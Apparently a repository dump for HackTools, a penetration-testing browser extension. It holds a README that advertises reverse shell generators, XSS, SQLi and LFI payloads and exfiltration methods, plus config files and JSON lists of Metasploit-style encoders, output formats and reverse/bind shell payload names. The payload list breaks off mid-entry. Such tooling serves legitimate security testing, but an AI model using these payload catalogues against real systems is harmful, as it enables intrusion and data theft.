[
  {
    "path": ".babelrc",
    "content": "{\r\n  \"presets\": [\r\n      [\r\n          \"@babel/preset-env\",\r\n          {\r\n              \"modules\": false\r\n          }\r\n      ],\r\n      \"@babel/preset-react\"\r\n  ],\r\n  \"plugins\": [\r\n      \"react-hot-loader/babel\"\r\n  ]\r\n}"
  },
  {
    "path": ".gitignore",
    "content": "/.git\n/node_modules\n/dist\n.DS_Store\nyarn.lock\npackage-lock.json\nyarn-error.log\n.scannerwork\n.vscode\n.idea\n.github\npnpm-lock.yaml\nbundle*.zip\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n  <img alt=\"logo_hack_tools\" src=\"https://i.imgur.com/yoUssC7.png\" />\n  <h1>Welcome to HackTools !</h1>\n  <p>\n    <img alt=\"Version\" src=\"https://img.shields.io/badge/version-1.0-blue.svg?cacheSeconds=2592000&style=for-the-badge\" />\n    <a href=\"https://addons.mozilla.org/en-US/firefox/addon/hacktools\" target=\"_blank\">\n      <img alt=\"mozilla\" src=\"https://img.shields.io/badge/Firefox-FF7139?style=for-the-badge&logo=Firefox-Browser&logoColor=white\" />\n    </a>\n    <a href=\"https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=en\" target=\"_blank\">\n      <img alt=\"chrome-extension\" src=\"https://img.shields.io/badge/Google%20Chrome-4285F4?style=for-the-badge&logo=GoogleChrome&logoColor=white\" />\n    </a>\n    <a href=\"https://github.com/LasCC/Hack-Tools/issues/88\" target=\"_blank\">\n      <img alt=\"safari-extension\" src=\"https://img.shields.io/badge/Safari-000000?style=for-the-badge&logo=Safari&logoColor=white\" />\n    </a>\n    <img alt=\"Downloads\" src=\"https://img.shields.io/github/downloads/LasCC/Hack-Tools/total.svg?style=for-the-badge\" />\n    <a href=\"https://inventory.raw.pm/\" target=\"_blank\">\n      <img alt=\"RawSecInventory\" src=\"https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_for-the-badge.svg\" />\n    <a/>\n  </p>\n  <p align=\"center\">\n    <a href=\"#the-all-in-one-browser-extension-for-offensive-security-professionals\"><b>Introduction</b></a>\n    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;\n    <a href=\"#preview\"><b>Preview</b></a>\n    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;\n    <a href=\"#install-the-extension\"><b>Install</b></a>\n    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;\n    <a href=\"#build-from-source-code\"><b>Build</b></a>\n    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;\n    <a href=\"#show-your-support\"><b>Support</b></a>\n  </p>\n</div>\n\n---\n\n>[!NOTE]  \n>Psst... Loved HackTools? 👀\n>\n>Check out [Penflow](https://github.com/rb-x/penflow) - our new security testing companion!\n>Try it at [map.penflow.sh](https://map.penflow.sh) 🚀\n\n>[!NOTE]  \n>Dear Users,\n>\n>We're excited to announce a major revamp of our app! Due to recent changes and multiple complications with the browser extension environment, we have decided to develop HackTools as a web application moving forward.\n>\n>To keep you engaged, we have uploaded our latest browser extension build alpha at this link: [https://hacktools.sh](https://hacktools.sh/)\n>\n>Stay tuned for exciting new features and improvements coming soon!\n>\n>Thank you for your support.\n\n---\n\n### The all-in-one browser extension for **offensive security professionals**\n\nHackTools, is a web extension facilitating your **web application penetration tests**, it includes **cheat sheets** as well as all the **tools** used during a test such as XSS payloads, Reverse shells and much more.\n\nWith the extension you **no longer need to search for payloads in different websites** or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in pop up mode or in a whole tab in the Devtools part of the browser with <kbd>F12</kbd>.\n\n### Current functions\n\n- Dynamic Reverse Shell generator (PHP, Bash, Ruby, Python, Perl, Netcat)\n- Shell Spawning (TTY Shell Spawning)\n- XSS Payloads\n- Basic SQLi payloads\n- Local file inclusion payloads (LFI)\n- Base64 Encoder / Decoder\n- Hash Generator (MD5, SHA1, SHA256, SHA512, SM3)\n- Useful Linux commands (Port Forwarding, SUID)\n- Various method of data exfiltration and download from a remote machine\n\n#### Command Palette\n\nWith the new version of the extension, a command panel has been added in order to facilitate the use of the experience. The command panel allows you to access all the functions of the extension in a few keystrokes.\n\nTo open the command palette, you can use the shortcut <kbd>CTRL</kbd> + <kbd>K</kbd> or <kbd>⌘</kbd> + <kbd>K</kbd> on macOS.\n\n- You can use the <kbd>↑</kbd> and <kbd>↓</kbd> arrow keys to navigate through the different commands.\n- <kbd>Enter</kbd> to validate your choice.\n- <kbd>⌘</kbd> + <kbd>L</kbd> to toggle the dark theme.\n- <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>1,2,3,4</kbd> to switch between the different tabs.\n\n## Preview\n\n<div align='center'>\n  <img alt=\"preview_2\" src=\"https://i.imgur.com/7Q09ZwW.png\" />\n</div>\n\n<div align='center'>\n  <img alt=\"preview_3\" src=\"https://i.imgur.com/JPH0dIW.png\" />\n</div>\n\n<div align='center'>\n  <img alt=\"preview_4\" src=\"https://i.imgur.com/UFZX7xH.png\" />\n</div>\n\n<div align='center'>\n  <img alt=\"preview_5\" src=\"https://i.imgur.com/TtfhQf9.png\" />\n</div>\n\n<div align='center'>\n  <img alt=\"preview_6\" src=\"https://i.imgur.com/l8mppjS.png\" />\n</div>\n\n# Install the extension\n\n<h2> \n  <img src=\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/chromium.svg\" alt=\"chromium_icon\" title='Chromium' width=\"35\" height=\"35\" style=\"float:left;margin-right:5px;\" />\n   Chromium based browser\n</h2>\n\nYou can download the **latest build** [here.](https://github.com/LasCC/Hack-Tools/releases)\n\nOr, you can download the extension on the **chrome web store** [here.](https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi)\n\nOtherwise, you can build the project yourself from the source code\n\n<h2> \n  <img src=\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/firefox.svg\" alt=\"firefox_icon\" title='Firefox' width=\"35\" height=\"35\" style=\"float:left;margin-right:5px;\" /> \n   Mozilla Firefox\n</h2>\n\nYou can download **HackTools** on the Firefox browser add-ons [here.](https://addons.mozilla.org/en-US/firefox/addon/hacktools/)\n\n<h2> \n  <img src=\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/safari.svg\" alt=\"safari_icon\" title='Safari' width=\"35\" height=\"35\" style=\"float:left;margin-right:5px;\" /> \n   Instructions to build for Safari\n</h2>\n\nCreate a safari web extension project using the command below. _This is to be run once._\n\n```bash\nxcrun safari-web-extension-coverter [path_to_dist_folder]\n```\n\nFollow the instructions to create the project the default language should be Swift.\n\n- Build project.\n- Open Safari and enable unsigned extensions; Develop -> Allow Unsigned Extensions.\n- Open Safari -> Preferences -> Extensions and enable Hack-Tools\n- Click on the extension icon and switch to full screen mode.\n\n_Instructions provided by [jayluxferro](https://github.com/LasCC/Hack-Tools/issues/88)_\n\n### Build from source code\n\n```bash\ngit clone https://github.com/LasCC/Hack-Tools.git\ncd Hack-Tools\nnpm install && npm run build\n```\n\nOnce the build is done correctly, webpack will create a new folder called **dist**\n\nAfter that you need to go to the **extension** tab on your chrome based navigator and turn on the **developer mode**\n\n<img alt=\"extension_tutorial\" src=\"https://i.imgur.com/ZHwUTfk.png\" />\n\nThen click on the **load unpacked** button in the top left corner\n\n<img alt=\"extension_tutorial\" src=\"https://i.imgur.com/TLDjLyO.png\" />\n\nOnce you clicked on the button you just need to select the **dist folder** and that's it ! 🎉\n\n<img alt=\"extension_tutorial\" src=\"https://i.imgur.com/fH894v8.png\" />\n\n## Authors\n\n👤 <a href=\"http://github.com/LasCC\" alt=\"Github_account_Ludovic_COULON\" target=\"_blank\">**Ludovic COULON**</a> & <a href=\"http://github.com/rb-x\" alt=\"Github_account_Riadh_BOUCHAHOUA\" target=\"_blank\">**Riadh BOUCHAHOUA**</a>\n\n## Show your support\n\nYou can give a ⭐️ if this project helped you !\n\nNote that this project is maintained, developed and made available for **free**, you can offer us a coffee, it will be very **encouraging and greatly appreciated** 😊\n\n<a href=\"https://www.paypal.me/hacktoolsEXT\" target=\"_blank\"><img src=\"https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white\" alt=\"Paypal\" style=\"height: 30px !important;width: auto !important\"></a>\n"
  },
  {
    "path": "package.json",
    "content": "{\n    \"name\": \"hack-tools\",\n    \"version\": \"1.0.0\",\n    \"description\": \"The all in one Red team browser extension for web pentesters\",\n    \"main\": \"index.js\",\n    \"scripts\": {\n        \"start\": \"webpack --watch\",\n        \"build\": \"webpack --mode production && rm -f ./dist/*.map\",\n        \"watch\": \"webpack --watch\",\n        \"zip_chrome\": \"rm -f './dist/*.map' && zip -r bundle_chrome.zip dist/\",\n        \"zip_moz\": \" rm -f './dist/*.map' && sed -i 's/\\\"manifest_version\\\": 3/\\\"manifest_version\\\": 2/g' ./dist/manifest.json  && sed -i 's/\\\"action\\\":/\\\"browser_action\\\":/g' ./dist/manifest.json & zip -r bundle_moz.zip dist/*\",\n        \"zip_all\": \"yarn zip_chrome && yarn zip_moz\",\n        \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n    },\n    \"keywords\": [],\n    \"author\": \"Ludovic COULON & Riadh BOUCHAHOUA\",\n    \"license\": \"MIT\",\n    \"devDependencies\": {\n        \"@babel/cli\": \"^7.21.0\",\n        \"@babel/core\": \"^7.21.0\",\n        \"@babel/helper-call-delegate\": \"^7.12.13\",\n        \"@babel/plugin-proposal-class-properties\": \"^7.18.6\",\n        \"@babel/preset-env\": \"^7.20.2\",\n        \"@babel/preset-react\": \"^7.18.6\",\n        \"@babel/preset-typescript\": \"^7.21.0\",\n        \"@pmmmwh/react-refresh-webpack-plugin\": \"^0.5.10\",\n        \"@types/crypto-js\": \"^4.1.1\",\n        \"@types/pretty\": \"^2.0.1\",\n        \"@types/react-syntax-highlighter\": \"^15.5.6\",\n        \"@types/use-persisted-state\": \"^0.3.1\",\n        \"babel-loader\": \"^9.1.2\",\n        \"clean-webpack-plugin\": \"^4.0.0\",\n        \"copy-webpack-plugin\": \"^11.0.0\",\n        \"css-loader\": \"^6.7.3\",\n        \"file-loader\": \"^6.2.0\",\n        \"html-webpack-plugin\": \"^5.5.0\",\n        \"react-hot-loader\": \"^4.13.1\",\n        \"react-refresh\": \"^0.14.0\",\n        \"style-loader\": \"^3.3.1\",\n        \"typescript\": \"^4.9.5\",\n        \"webpack\": \"^5.76.1\",\n        \"webpack-cli\": \"^5.0.1\",\n        \"webpack-dev-server\": \"^4.11.1\"\n    },\n    \"browserslist\": [\n        \">0.2%\",\n        \"not dead\",\n        \"not op_mini all\"\n    ],\n    \"dependencies\": {\n        \"@ant-design/compatible\": \"^5.1.1\",\n        \"@ant-design/cssinjs\": \"^1.6.1\",\n        \"@ant-design/icons\": \"4.8.0\",\n        \"@ant-design/pro-card\": \"^2.3.0\",\n        \"@ant-design/pro-layout\": \"^7.10.0\",\n        \"@hot-loader/react-dom\": \"^17.0.2\",\n        \"@types/chrome\": \"^0.0.206\",\n        \"@types/jest\": \"^29.4.0\",\n        \"@types/node\": \"^18.15.0\",\n        \"@types/react\": \"^18.0.28\",\n        \"@types/react-dom\": \"^18.0.11\",\n        \"@uiw/react-md-editor\": \"^3.20.5\",\n        \"antd\": \"5.1.0\",\n        \"antd-mask-input\": \"2.0.7\",\n        \"axios\": \"^1.3.4\",\n        \"crypto-js\": \"^4.1.1\",\n        \"darkreader\": \"^4.9.58\",\n        \"escape-quotes\": \"^1.0.2\",\n        \"less\": \"^4.1.3\",\n        \"less-loader\": \"^11.1.0\",\n        \"mermaid\": \"^9.4.3\",\n        \"pretty\": \"^2.0.0\",\n        \"rc-queue-anim\": \"^2.0.0\",\n        \"react\": \"^18.2.0\",\n        \"react-chrome-extension-router\": \"^1.4.0\",\n        \"react-clipboard.js\": \"2.0.16\",\n        \"react-color\": \"^2.19.3\",\n        \"react-dom\": \"^18.2.0\",\n        \"react-highlight-words\": \"^0.18.0\",\n        \"react-query\": \"^3.39.3\",\n        \"react-refresh-typescript\": \"^2.0.8\",\n        \"react-syntax-highlighter\": \"^15.5.0\",\n        \"sm3\": \"^1.0.3\",\n        \"ts-loader\": \"^9.4.2\",\n        \"use-persisted-state\": \"^0.3.3\"\n    }\n}"
  },
  {
    "path": "src/App.tsx",
    "content": "import React from 'react';\r\nimport ReactDOM from 'react-dom';\r\nimport { Router } from 'react-chrome-extension-router';\r\nimport { FloatButton } from 'antd';\r\nimport { QueryClientProvider, QueryClient } from 'react-query';\r\nimport LayoutApp from './components/LayoutApp';\r\nimport ReverseShell from './components/linux/ReverseShell';\r\nimport './assets/css/style.css';\r\n\r\nconst queryClient = new QueryClient();\r\n\r\nconst App = () => {\r\n    return (\r\n        <div>\r\n            <ReverseShell />\r\n        </div>\r\n    );\r\n};\r\n\r\n\r\nReactDOM.render(\r\n    <QueryClientProvider client={queryClient}>\r\n        <LayoutApp>\r\n            <Router>\r\n                <App />\r\n            </Router>\r\n            <FloatButton.BackTop />\r\n        </LayoutApp>\r\n    </QueryClientProvider>,\r\n    document.getElementById( 'app' )\r\n);\r\n"
  },
  {
    "path": "src/assets/css/style.css",
    "content": ".logo:hover {\r\n    cursor: pointer;\r\n    animation: jelly 0.5s;\r\n}\r\n\r\n.logo {\r\n    padding-left: 17px;\r\n    padding-top: 14px;\r\n    margin-bottom: 10px;\r\n}\r\n\r\n@keyframes jelly {\r\n\r\n    0%,\r\n    100% {\r\n        transform: scale(1, 1);\r\n    }\r\n\r\n    25% {\r\n        transform: scale(0.9, 1.1);\r\n    }\r\n\r\n    50% {\r\n        transform: scale(1.1, 0.9);\r\n    }\r\n\r\n    75% {\r\n        transform: scale(0.95, 1.05);\r\n    }\r\n}\r\n\r\n.ant-badge {\r\n    color: inherit !important;\r\n}\r\n\r\n.site-layout .site-layout-background {\r\n    border-radius: 10px;\r\n}\r\n\r\n.ant-menu-inline .ant-menu-item:not(:last-child),\r\n.ant-menu-vertical-left .ant-menu-item:not(:last-child),\r\n.ant-menu-vertical-right .ant-menu-item:not(:last-child),\r\n.ant-menu-vertical .ant-menu-item:not(:last-child) {\r\n    margin: 0px !important;\r\n}\r\n\r\n.ant-menu-dark.ant-menu-inline .ant-menu-item,\r\n.ant-menu-dark.ant-menu-vertical .ant-menu-item,\r\n.ant-menu-dark.ant-menu-vertical-left .ant-menu-item,\r\n.ant-menu-dark.ant-menu-vertical-right .ant-menu-item {\r\n    left: 4px !important;\r\n    margin-left: 0 !important;\r\n    border-right: 0 !important;\r\n}\r\n\r\n.ant-menu-vertical .ant-menu-item:not(:last-child),\r\n.ant-menu-vertical-left .ant-menu-item:not(:last-child),\r\n.ant-menu-vertical-right .ant-menu-item:not(:last-child),\r\n.ant-menu-inline .ant-menu-item:not(:last-child) {\r\n    margin: 0 !important;\r\n}\r\n\r\n.ant-menu-inline-collapsed>.ant-menu-item,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title,\r\n.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title {\r\n    left: 0 !important;\r\n    padding: 2px calc(50% - 25px / 2) !important;\r\n    text-overflow: clip !important;\r\n}\r\n\r\n.ant-menu-vertical>.ant-menu-item,\r\n.ant-menu-vertical-left>.ant-menu-item,\r\n.ant-menu-vertical-right>.ant-menu-item,\r\n.ant-menu-inline>.ant-menu-item,\r\n.ant-menu-vertical>.ant-menu-submenu>.ant-menu-submenu-title,\r\n.ant-menu-vertical-left>.ant-menu-submenu>.ant-menu-submenu-title,\r\n.ant-menu-vertical-right>.ant-menu-submenu>.ant-menu-submenu-title,\r\n.ant-menu-inline>.ant-menu-submenu>.ant-menu-submenu-title {\r\n    height: 35px !important;\r\n    line-height: 35px !important;\r\n}\r\n\r\n.ant-menu-inline-collapsed>.ant-menu-item .ant-menu-item-icon,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .ant-menu-item-icon,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon,\r\n.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon,\r\n.ant-menu-inline-collapsed>.ant-menu-item .anticon,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .anticon,\r\n.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .anticon,\r\n.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .anticon {\r\n    margin: 0 !important;\r\n    font-size: 18px !important;\r\n    line-height: 32px !important;\r\n}\r\n\r\n.iconfont {\r\n    font-family: \"iconfont\";\r\n    margin: 0;\r\n    font-size: 14px;\r\n    line-height: 32px;\r\n    font-style: normal;\r\n    -webkit-font-smoothing: antialiased;\r\n    -moz-osx-font-smoothing: grayscale;\r\n}\r\n\r\nbody {\r\n    min-width: 750px;\r\n    min-height: auto;\r\n    margin: 0px !important;\r\n    font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;\r\n    font-size: 14px;\r\n}"
  },
  {
    "path": "src/assets/data/Encoder.json",
    "content": "[\n\t{ \"value\": \"cmd/echo\" },\n\t{ \"value\": \"cmd/generic_sh\" },\n\t{ \"value\": \"cmd/ifs\" },\n\t{ \"value\": \"cmd/perl\" },\n\t{ \"value\": \"cmd/powershell_base64\" },\n\t{ \"value\": \"cmd/printf_php_mq\" },\n\t{ \"value\": \"generic/eicar\" },\n\t{ \"value\": \"generic/none\" },\n\t{ \"value\": \"mipsbe/byte_xori\" },\n\t{ \"value\": \"mipsbe/longxor\" },\n\t{ \"value\": \"mipsle/byte_xori\" },\n\t{ \"value\": \"mipsle/longxor\" },\n\t{ \"value\": \"php/base64\" },\n\t{ \"value\": \"ppc/longxor\" },\n\t{ \"value\": \"ppc/longxor_tag\" },\n\t{ \"value\": \"ruby/base64\" },\n\t{ \"value\": \"sparc/longxor_tag\" },\n\t{ \"value\": \"x64/xor\" },\n\t{ \"value\": \"x64/zutto_dekiru\" },\n\t{ \"value\": \"x86/add_sub\" },\n\t{ \"value\": \"x86/alpha_mixed\" },\n\t{ \"value\": \"x86/alpha_upper\" },\n\t{ \"value\": \"x86/avoid_underscore_tolower\" },\n\t{ \"value\": \"x86/avoid_utf8_tolower\" },\n\t{ \"value\": \"x86/bloxor\" },\n\t{ \"value\": \"x86/bmp_polyglot\" },\n\t{ \"value\": \"x86/call4_dword_xor\" },\n\t{ \"value\": \"x86/context_cpuid\" },\n\t{ \"value\": \"x86/context_stat\" },\n\t{ \"value\": \"x86/context_time\" },\n\t{ \"value\": \"x86/countdown\" },\n\t{ \"value\": \"x86/fnstenv_mov\" },\n\t{ \"value\": \"x86/jmp_call_additive\" },\n\t{ \"value\": \"x86/nonalpha\" },\n\t{ \"value\": \"x86/nonupper\" },\n\t{ \"value\": \"x86/opt_sub\" },\n\t{ \"value\": \"x86/service\" },\n\t{ \"value\": \"x86/shikata_ga_nai\" },\n\t{ \"value\": \"x86/single_static_bit\" },\n\t{ \"value\": \"x86/unicode_mixed\" },\n\t{ \"value\": \"x86/unicode_upper\" }\n]\n"
  },
  {
    "path": "src/assets/data/Format.json",
    "content": "[\n\t{ \"value\": \"asp\" },\n\t{ \"value\": \"aspx\" },\n\t{ \"value\": \"aspx-exe\" },\n\t{ \"value\": \"axis2\" },\n\t{ \"value\": \"bash\" },\n\t{ \"value\": \"c\" },\n\t{ \"value\": \"csharp\" },\n\t{ \"value\": \"dll\" },\n\t{ \"value\": \"dw\" },\n\t{ \"value\": \"dword\" },\n\t{ \"value\": \"elf\" },\n\t{ \"value\": \"elf-so\" },\n\t{ \"value\": \"exe\" },\n\t{ \"value\": \"exe-only\" },\n\t{ \"value\": \"exe-service\" },\n\t{ \"value\": \"exe-small\" },\n\t{ \"value\": \"hex\" },\n\t{ \"value\": \"hta-psh\" },\n\t{ \"value\": \"jar\" },\n\t{ \"value\": \"java\" },\n\t{ \"value\": \"js_be\" },\n\t{ \"value\": \"js_le\" },\n\t{ \"value\": \"jsp\" },\n\t{ \"value\": \"loop-vbs\" },\n\t{ \"value\": \"macho\" },\n\t{ \"value\": \"msi\" },\n\t{ \"value\": \"msi-nouac\" },\n\t{ \"value\": \"num\" },\n\t{ \"value\": \"osx-app\" },\n\t{ \"value\": \"perl\" },\n\t{ \"value\": \"pl\" },\n\t{ \"value\": \"powershell\" },\n\t{ \"value\": \"ps1\" },\n\t{ \"value\": \"psh\" },\n\t{ \"value\": \"psh-cmd\" },\n\t{ \"value\": \"psh-net\" },\n\t{ \"value\": \"psh-reflection\" },\n\t{ \"value\": \"py\" },\n\t{ \"value\": \"python\" },\n\t{ \"value\": \"raw\" },\n\t{ \"value\": \"rb\" },\n\t{ \"value\": \"ruby\" },\n\t{ \"value\": \"sh\" },\n\t{ \"value\": \"vba\" },\n\t{ \"value\": \"vba-exe\" },\n\t{ \"value\": \"vbapplication\" },\n\t{ \"value\": \"vba-psh\" },\n\t{ \"value\": \"vbs\" },\n\t{ \"value\": \"vbscript\" },\n\t{ \"value\": \"war\" }\n]\n"
  },
  {
    "path": "src/assets/data/Payloads.json",
    "content": "[\n\t{ \"value\": \"aix/ppc/shell_bind_tcp\" },\n\t{ \"value\": \"aix/ppc/shell_find_port\" },\n\t{ \"value\": \"aix/ppc/shell_interact\" },\n\t{ \"value\": \"aix/ppc/shell_reverse_tcp\" },\n\t{ \"value\": \"android/meterpreter/reverse_http\" },\n\t{ \"value\": \"android/meterpreter/reverse_https\" },\n\t{ \"value\": \"android/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"android/meterpreter_reverse_http\" },\n\t{ \"value\": \"android/meterpreter_reverse_https\" },\n\t{ \"value\": \"android/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"android/shell/reverse_http\" },\n\t{ \"value\": \"android/shell/reverse_https\" },\n\t{ \"value\": \"android/shell/reverse_tcp\" },\n\t{ \"value\": \"apple_ios/aarch64/meterpreter_reverse_http\" },\n\t{ \"value\": \"apple_ios/aarch64/meterpreter_reverse_https\" },\n\t{ \"value\": \"apple_ios/aarch64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"apple_ios/aarch64/shell_reverse_tcp\" },\n\t{ \"value\": \"bsd/sparc/shell_bind_tcp\" },\n\t{ \"value\": \"bsd/sparc/shell_reverse_tcp\" },\n\t{ \"value\": \"bsd/x64/exec\" },\n\t{ \"value\": \"bsd/x64/shell_bind_ipv6_tcp\" },\n\t{ \"value\": \"bsd/x64/shell_bind_tcp\" },\n\t{ \"value\": \"bsd/x64/shell_bind_tcp_small\" },\n\t{ \"value\": \"bsd/x64/shell_reverse_ipv6_tcp\" },\n\t{ \"value\": \"bsd/x64/shell_reverse_tcp\" },\n\t{ \"value\": \"bsd/x64/shell_reverse_tcp_small\" },\n\t{ \"value\": \"bsd/x86/exec\" },\n\t{ \"value\": \"bsd/x86/metsvc_bind_tcp\" },\n\t{ \"value\": \"bsd/x86/metsvc_reverse_tcp\" },\n\t{ \"value\": \"bsd/x86/shell/bind_ipv6_tcp\" },\n\t{ \"value\": \"bsd/x86/shell/bind_tcp\" },\n\t{ \"value\": \"bsd/x86/shell/find_tag\" },\n\t{ \"value\": \"bsd/x86/shell/reverse_ipv6_tcp\" },\n\t{ \"value\": \"bsd/x86/shell/reverse_tcp\" },\n\t{ \"value\": \"bsd/x86/shell_bind_tcp\" },\n\t{ \"value\": \"bsd/x86/shell_bind_tcp_ipv6\" },\n\t{ \"value\": \"bsd/x86/shell_find_port\" },\n\t{ \"value\": \"bsd/x86/shell_find_tag\" },\n\t{ \"value\": \"bsd/x86/shell_reverse_tcp\" },\n\t{ \"value\": \"bsd/x86/shell_reverse_tcp_ipv6\" },\n\t{ \"value\": \"bsdi/x86/shell/bind_tcp\" },\n\t{ \"value\": \"bsdi/x86/shell/reverse_tcp\" },\n\t{ \"value\": \"bsdi/x86/shell_bind_tcp\" },\n\t{ \"value\": \"bsdi/x86/shell_find_port\" },\n\t{ \"value\": \"bsdi/x86/shell_reverse_tcp\" },\n\t{ \"value\": \"cmd/mainframe/apf_privesc_jcl\" },\n\t{ \"value\": \"cmd/mainframe/bind_shell_jcl\" },\n\t{ \"value\": \"cmd/mainframe/generic_jcl\" },\n\t{ \"value\": \"cmd/mainframe/reverse_shell_jcl\" },\n\t{ \"value\": \"cmd/unix/bind_awk\" },\n\t{ \"value\": \"cmd/unix/bind_inetd\" },\n\t{ \"value\": \"cmd/unix/bind_lua\" },\n\t{ \"value\": \"cmd/unix/bind_netcat\" },\n\t{ \"value\": \"cmd/unix/bind_netcat_gaping\" },\n\t{ \"value\": \"cmd/unix/bind_netcat_gaping_ipv6\" },\n\t{ \"value\": \"cmd/unix/bind_nodejs\" },\n\t{ \"value\": \"cmd/unix/bind_perl\" },\n\t{ \"value\": \"cmd/unix/bind_perl_ipv6\" },\n\t{ \"value\": \"cmd/unix/bind_r\" },\n\t{ \"value\": \"cmd/unix/bind_ruby\" },\n\t{ \"value\": \"cmd/unix/bind_ruby_ipv6\" },\n\t{ \"value\": \"cmd/unix/bind_socat_udp\" },\n\t{ \"value\": \"cmd/unix/bind_stub\" },\n\t{ \"value\": \"cmd/unix/bind_zsh\" },\n\t{ \"value\": \"cmd/unix/generic\" },\n\t{ \"value\": \"cmd/unix/interact\" },\n\t{ \"value\": \"cmd/unix/reverse\" },\n\t{ \"value\": \"cmd/unix/reverse_awk\" },\n\t{ \"value\": \"cmd/unix/reverse_bash\" },\n\t{ \"value\": \"cmd/unix/reverse_bash_telnet_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_ksh\" },\n\t{ \"value\": \"cmd/unix/reverse_lua\" },\n\t{ \"value\": \"cmd/unix/reverse_ncat_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_netcat\" },\n\t{ \"value\": \"cmd/unix/reverse_netcat_gaping\" },\n\t{ \"value\": \"cmd/unix/reverse_nodejs\" },\n\t{ \"value\": \"cmd/unix/reverse_openssl\" },\n\t{ \"value\": \"cmd/unix/reverse_perl\" },\n\t{ \"value\": \"cmd/unix/reverse_perl_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_php_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_python\" },\n\t{ \"value\": \"cmd/unix/reverse_python_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_r\" },\n\t{ \"value\": \"cmd/unix/reverse_ruby\" },\n\t{ \"value\": \"cmd/unix/reverse_ruby_ssl\" },\n\t{ \"value\": \"cmd/unix/reverse_socat_udp\" },\n\t{ \"value\": \"cmd/unix/reverse_ssl_double_telnet\" },\n\t{ \"value\": \"cmd/unix/reverse_stub\" },\n\t{ \"value\": \"cmd/unix/reverse_zsh\" },\n\t{ \"value\": \"cmd/windows/adduser\" },\n\t{ \"value\": \"cmd/windows/bind_lua\" },\n\t{ \"value\": \"cmd/windows/bind_perl\" },\n\t{ \"value\": \"cmd/windows/bind_perl_ipv6\" },\n\t{ \"value\": \"cmd/windows/bind_ruby\" },\n\t{ \"value\": \"cmd/windows/download_eval_vbs\" },\n\t{ \"value\": \"cmd/windows/download_exec_vbs\" },\n\t{ \"value\": \"cmd/windows/generic\" },\n\t{ \"value\": \"cmd/windows/powershell_bind_tcp\" },\n\t{ \"value\": \"cmd/windows/powershell_reverse_tcp\" },\n\t{ \"value\": \"cmd/windows/reverse_lua\" },\n\t{ \"value\": \"cmd/windows/reverse_perl\" },\n\t{ \"value\": \"cmd/windows/reverse_powershell\" },\n\t{ \"value\": \"cmd/windows/reverse_ruby\" },\n\t{ \"value\": \"firefox/exec\" },\n\t{ \"value\": \"firefox/shell_bind_tcp\" },\n\t{ \"value\": \"firefox/shell_reverse_tcp\" },\n\t{ \"value\": \"generic/custom\" },\n\t{ \"value\": \"generic/debug_trap\" },\n\t{ \"value\": \"generic/shell_bind_tcp\" },\n\t{ \"value\": \"generic/shell_reverse_tcp\" },\n\t{ \"value\": \"generic/tight_loop\" },\n\t{ \"value\": \"java/jsp_shell_bind_tcp\" },\n\t{ \"value\": \"java/jsp_shell_reverse_tcp\" },\n\t{ \"value\": \"java/meterpreter/bind_tcp\" },\n\t{ \"value\": \"java/meterpreter/reverse_http\" },\n\t{ \"value\": \"java/meterpreter/reverse_https\" },\n\t{ \"value\": \"java/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"java/shell/bind_tcp\" },\n\t{ \"value\": \"java/shell/reverse_tcp\" },\n\t{ \"value\": \"java/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/aarch64/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/aarch64/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/aarch64/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/aarch64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/aarch64/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/aarch64/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/armbe/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/armbe/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/armbe/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/armbe/shell_bind_tcp\" },\n\t{ \"value\": \"linux/armle/adduser\" },\n\t{ \"value\": \"linux/armle/exec\" },\n\t{ \"value\": \"linux/armle/meterpreter/bind_tcp\" 